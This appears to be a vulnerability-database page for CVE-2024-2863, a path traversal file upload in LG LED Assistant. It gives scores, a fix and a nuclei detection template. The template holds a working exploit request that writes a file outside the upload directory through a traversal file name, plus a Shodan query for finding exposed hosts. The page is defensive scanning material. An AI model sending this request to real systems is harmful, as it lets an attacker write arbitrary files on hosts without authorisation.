HexBrain

Browse / CVEs / CVE-2024-2863

CVE-2024-2863· CWE-22

LG LED Assistant - Thumbnail Path Traversal File Upload

highseverity
9.8CVSS score
64%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

A path traversal vulnerability exists in the endpoint handler for /api/thumbnail in Common.js. An unauthenticated remote attacker can exploit this to upload arbitrary files to any location on the disk drive where the product is installed.

Impact

Remote attackers can access sensitive files, potentially leading to information disclosure or system compromise.

Fix

Update to the latest version or apply security patches provided by LG.

How to confirm it

Send: POST /api/thumbnail
Positive when: contains(body, "{\"resCode\":\"SUCCESS\"}") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-2863 -u <target>

The full check
id: CVE-2024-2863

info:
  name: LG LED Assistant - Thumbnail Path Traversal File Upload
  author: beginee
  severity: high
  description: |
    A path traversal vulnerability exists in the endpoint handler for /api/thumbnail in Common.js. An unauthenticated remote attacker can exploit this to upload arbitrary files to any location on the disk drive where the product is installed.
  impact: |
    Remote attackers can access sensitive files, potentially leading to information disclosure or system compromise.
  remediation: |
    Update to the latest version or apply security patches provided by LG.
  reference:
    - https://www.tenable.com/security/research/tra-2024-08
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2863
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-2863
    cwe-id: CWE-22
    epss-score: 0.63999
    epss-percentile: 0.99232
  metadata:
    verified: true
    max-request: 1
    shodan-query: 'http.title:"LG LED Assistant" OR http.title:"LED Assistant"'
  tags: cve,cve2024,lg,lfi,file-upload,thumbnail,traversal,vkev,vuln

variables:
  target_filename: "/../../../../../../Users/Public/poc_test.txt"
  target_fileStr: "bWFsaWNpb3VzIGNvbnRlbnQ%3d"

http:
  - raw:
      - |
        POST /api/thumbnail HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        fileName={{target_filename}}&fileStr={{target_fileStr}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{\"resCode\":\"SUCCESS\"}")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from